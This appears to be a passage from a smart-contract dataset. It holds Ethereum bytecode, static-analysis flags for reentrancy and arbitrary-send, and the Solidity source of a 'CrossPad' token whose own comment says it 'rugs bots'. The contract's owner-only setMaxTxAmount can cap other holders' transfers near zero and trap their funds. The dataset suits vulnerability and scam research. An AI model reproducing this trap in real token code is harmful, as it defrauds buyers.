8c379a000000000000000000000000000000000000000000000000000000000815260040161158390613045565b60405180910390fd5b611594610ad6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160257506115d2610ad6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7257600f60179054906101000a900460ff1615611835573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116de5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117385750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183457600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661177e611296565b73ffffffffffffffffffffffffffffffffffffffff1614806117f45750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117dc611296565b73ffffffffffffffffffffffffffffffffffffffff16145b611833576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182a906130a5565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118e257600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561198d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119fb5750600f60179054906101000a900460ff165b15611ab85742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4b57600080fd5b601054811115611a5a57600080fd5b6001601154611a699190613282565b42611a7491906131fb565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac330610850565b9050600f60159054906101000a900460ff16158015611b305750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b485750600f60169054906101000a900460ff165b15611b7057611b5681611dcc565b60004790506000811115611b6e57611b6d476120c6565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c195750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2357600090505b611c2f848484846121c1565b50505050565b6000838311158290611c7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c749190612f03565b60405180910390fd5b5060008385611c8c91906132dc565b9050809150509392505050565b6000600654821115611ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd790612f65565b60405180910390fd5b6000611cea6121ee565b9050611cff8184611d8290919063ffffffff16565b915050919050565b600080831415611d1a5760009050611d7c565b60008284611d289190613282565b9050828482611d379190613251565b14611d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6e90613005565b60405180910390fd5b809150505b92915050565b6000611dc483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612219565b905092915050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e2a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e585781602001602082028036833780820191505090505b5090503081600081518110611e96577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f3857600080fd5b505afa158015611f4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f70919061294f565b81600181518110611faa577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061201130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461129e565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120759594939291906130e0565b600060405180830381600087803b15801561208f57600080fd5b505af11580156120a3573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612116600284611d8290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612141573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612192600284611d8290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121bd573d6000803e3d6000fd5b5050565b806121cf576121ce61227c565b5b6121da8484846122ad565b806121e8576121e7612478565b5b50505050565b60008060006121fb61248a565b915091506122128183611d8290919063ffffffff16565b9250505090565b60008083118290612260576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122579190612f03565b60405180910390fd5b506000838561226f9190613251565b9050809150509392505050565b600060085414801561229057506000600954145b1561229a576122ab565b600060088190555060006009819055505b565b6000806000806000806122bf876124ec565b95509550955095509550955061231d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fe816125fc565b61240884836126b9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161246591906130c5565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124c0683635c9adc5dea00000600654611d8290919063ffffffff16565b8210156124df57600654683635c9adc5dea000009350935050506124e8565b81819350935050505b9091565b60008060008060008060008060006125098a6008546009546126f3565b92509250925060006125196121ee565b9050600080600061252c8e878787612789565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c35565b905092915050565b60008082846125ad91906131fb565b9050838110156125f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e990612fa5565b60405180910390fd5b8091505092915050565b60006126066121ee565b9050600061261d8284611d0790919063ffffffff16565b905061267181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126ce8260065461255490919063ffffffff16565b6006819055506126e98160075461259e90919063ffffffff16565b6007819055505050565b60008060008061271f6064612711888a611d0790919063ffffffff16565b611d8290919063ffffffff16565b90506000612749606461273b888b611d0790919063ffffffff16565b611d8290919063ffffffff16565b9050600061277282612764858c61255490919063ffffffff16565b61255490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a28589611d0790919063ffffffff16565b905060006127b98689611d0790919063ffffffff16565b905060006127d08789611d0790919063ffffffff16565b905060006127f9826127eb858761255490919063ffffffff16565b61255490919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128256128208461317a565b613155565b9050808382526020820190508285602086028201111561284457600080fd5b60005b85811015612874578161285a888261287e565b845260208401935060208301925050600181019050612847565b5050509392505050565b60008135905061288d816137e1565b92915050565b6000815190506128a2816137e1565b92915050565b600082601f8301126128b957600080fd5b81356128c9848260208601612812565b91505092915050565b6000813590506128e1816137f8565b92915050565b6000815190506128f6816137f8565b92915050565b60008135905061290b8161380f565b92915050565b6000815190506129208161380f565b92915050565b60006020828403121561293857600080fd5b60006129468482850161287e565b91505092915050565b60006020828403121561296157600080fd5b600061296f84828501612893565b91505092915050565b6000806040838503121561298b57600080fd5b60006129998582860161287e565b92505060206129aa8582860161287e565b9150509250929050565b6000806000606084860312156129c957600080fd5b60006129d78682870161287e565b93505060206129e88682870161287e565b92505060406129f9868287016128fc565b9150509250925092565b60008060408385031215612a1657600080fd5b6000612a248582860161287e565b9250506020612a35858286016128fc565b9150509250929050565b600060208284031215612a5157600080fd5b600082013567ffffffffffffffff811115612a6b57600080fd5b612a77848285016128a8565b91505092915050565b600060208284031215612a9257600080fd5b6000612aa0848285016128d2565b91505092915050565b600060208284031215612abb57600080fd5b6000612ac9848285016128e7565b91505092915050565b600060208284031215612ae457600080fd5b6000612af2848285016128fc565b91505092915050565b600080600060608486031215612b1057600080fd5b6000612b1e86828701612911565b9350506020612b2f86828701612911565b9250506040612b4086828701612911565b9150509250925092565b6000612b568383612b62565b60208301905092915050565b612b6b81613310565b82525050565b612b7a81613310565b82525050565b6000612b8b826131b6565b612b9581856131d9565b9350612ba0836131a6565b8060005b83811015612bd1578151612bb88882612b4a565b9750612bc3836131cc565b925050600181019050612ba4565b5085935050505092915050565b612be781613322565b82525050565b612bf681613365565b82525050565b6000612c07826131c1565b612c1181856131ea565b9350612c21818560208601613377565b612c2a816134b1565b840191505092915050565b6000612c426023836131ea565b9150612c4d826134c2565b604082019050919050565b6000612c65601a836131ea565b9150612c7082613511565b602082019050919050565b6000612c88602a836131ea565b9150612c938261353a565b604082019050919050565b6000612cab6022836131ea565b9150612cb682613589565b604082019050919050565b6000612cce601b836131ea565b9150612cd9826135d8565b602082019050919050565b6000612cf1601b836131ea565b9150612cfc82613601565b602082019050919050565b6000612d14601d836131ea565b9150612d1f8261362a565b602082019050919050565b6000612d376021836131ea565b9150612d4282613653565b604082019050919050565b6000612d5a6020836131ea565b9150612d65826136a2565b602082019050919050565b6000612d7d6029836131ea565b9150612d88826136cb565b604082019050919050565b6000612da06025836131ea565b9150612dab8261371a565b604082019050919050565b6000612dc36024836131ea565b9150612dce82613769565b604082019050919050565b6000612de66011836131ea565b9150612df1826137b8565b602082019050919050565b612e058161334e565b82525050565b612e1481613358565b82525050565b6000602082019050612e2f6000830184612b71565b92915050565b6000604082019050612e4a6000830185612b71565b612e576020830184612b71565b9392505050565b6000604082019050612e736000830185612b71565b612e806020830184612dfc565b9392505050565b600060c082019050612e9c6000830189612b71565b612ea96020830188612dfc565b612eb66040830187612bed565b612ec36060830186612bed565b612ed06080830185612b71565b612edd60a0830184612dfc565b979650505050505050565b6000602082019050612efd6000830184612bde565b92915050565b60006020820190508181036000830152612f1d8184612bfc565b905092915050565b60006020820190508181036000830152612f3e81612c35565b9050919050565b60006020820190508181036000830152612f5e81612c58565b9050919050565b60006020820190508181036000830152612f7e81612c7b565b9050919050565b60006020820190508181036000830152612f9e81612c9e565b9050919050565b60006020820190508181036000830152612fbe81612cc1565b9050919050565b60006020820190508181036000830152612fde81612ce4565b9050919050565b60006020820190508181036000830152612ffe81612d07565b9050919050565b6000602082019050818103600083015261301e81612d2a565b9050919050565b6000602082019050818103600083015261303e81612d4d565b9050919050565b6000602082019050818103600083015261305e81612d70565b9050919050565b6000602082019050818103600083015261307e81612d93565b9050919050565b6000602082019050818103600083015261309e81612db6565b9050919050565b600060208201905081810360008301526130be81612dd9565b9050919050565b60006020820190506130da6000830184612dfc565b92915050565b600060a0820190506130f56000830188612dfc565b6131026020830187612bed565b81810360408301526131148186612b80565b90506131236060830185612b71565b6131306080830184612dfc565b9695505050505050565b600060208201905061314f6000830184612e0b565b92915050565b600061315f613170565b905061316b82826133aa565b919050565b6000604051905090565b600067ffffffffffffffff82111561319557613194613482565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006132068261334e565b91506132118361334e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561324657613245613424565b5b828201905092915050565b600061325c8261334e565b91506132678361334e565b92508261327757613276613453565b5b828204905092915050565b600061328d8261334e565b91506132988361334e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132d1576132d0613424565b5b828202905092915050565b60006132e78261334e565b91506132f28361334e565b92508282101561330557613304613424565b5b828203905092915050565b600061331b8261332e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133708261334e565b9050919050565b60005b8381101561339557808201518184015260208101905061337a565b838111156133a4576000848401525b50505050565b6133b3826134b1565b810181811067ffffffffffffffff821117156133d2576133d1613482565b5b80604052505050565b60006133e68261334e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561341957613418613424565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f53656373206d7573742062652067726561746572207468616e20300000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137ea81613310565b81146137f557600080fd5b50565b61380181613322565b811461380c57600080fd5b50565b6138188161334e565b811461382357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201977e5f86ba61e9cd82d954ca47b6a01fb4a5d6051f432e5dec7592eaf9a104764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,742
0xa07b4cea8adec0290e31ce74dc2f55ff3cdae205
// SPDX-License-Identifier: MIT // Contract rugs bots - dont buy pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract CrossPad is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 1000000e18; string private _name = 'Crosspad.finance'; string private _symbol = 'CROSSPAD'; uint8 private _decimals = 18; uint256 public maxTxAmount = 1000000e18; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _mint(_msgSender(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(sender != owner() && recipient != owner()) require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount."); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() { require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9'); maxTxAmount = _maxTxAmount; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638c0b5e2211610097578063a9059cbb11610066578063a9059cbb146104ae578063dd62ed3e14610512578063ec28438a1461058a578063f2fde38b146105b857610100565b80638c0b5e22146103755780638da5cb5b1461039357806395d89b41146103c7578063a457c2d71461044a57610100565b8063313ce567116100d3578063313ce5671461028e57806339509351146102af57806370a0823114610313578063715018a61461036b57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b60405180821515815260200191505060405180910390f35b6101f46106bc565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b60405180821515815260200191505060405180910390f35b61029661079f565b604051808260ff16815260200191505060405180910390f35b6102fb600480360360408110156102c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b6565b60405180821515815260200191505060405180910390f35b6103556004803603602081101561032957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610869565b6040518082815260200191505060405180910390f35b6103736108b2565b005b61037d610a38565b6040518082815260200191505060405180910390f35b61039b610a3e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103cf610a67565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040f5780820151818401526020810190506103f4565b50505050905090810190601f16801561043c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b09565b60405180821515815260200191505060405180910390f35b6104fa600480360360408110156104c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd6565b60405180821515815260200191505060405180910390f35b6105746004803603604081101561052857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf4565b6040518082815260200191505060405180910390f35b6105b6600480360360208110156105a057600080fd5b8101908080359060200190929190505050610c7b565b005b6105fa600480360360208110156105ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dac565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106945780601f1061066957610100808354040283529160200191610694565b820191906000526020600020905b81548152906001019060200180831161067757829003601f168201915b5050505050905090565b60006106b26106ab61103f565b8484611047565b6001905092915050565b6000600354905090565b60006106d384848461123e565b610794846106df61103f565b61078f8560405180606001604052806028815260200161178360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061085f6107c361103f565b8461085a85600260006107d461103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b611047565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108ba61103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aff5780601f10610ad457610100808354040283529160200191610aff565b820191906000526020600020905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b6000610bcc610b1661103f565b84610bc7856040518060600160405280602581526020016117f46025913960026000610b4061103f565b73ffffffffffffffffffff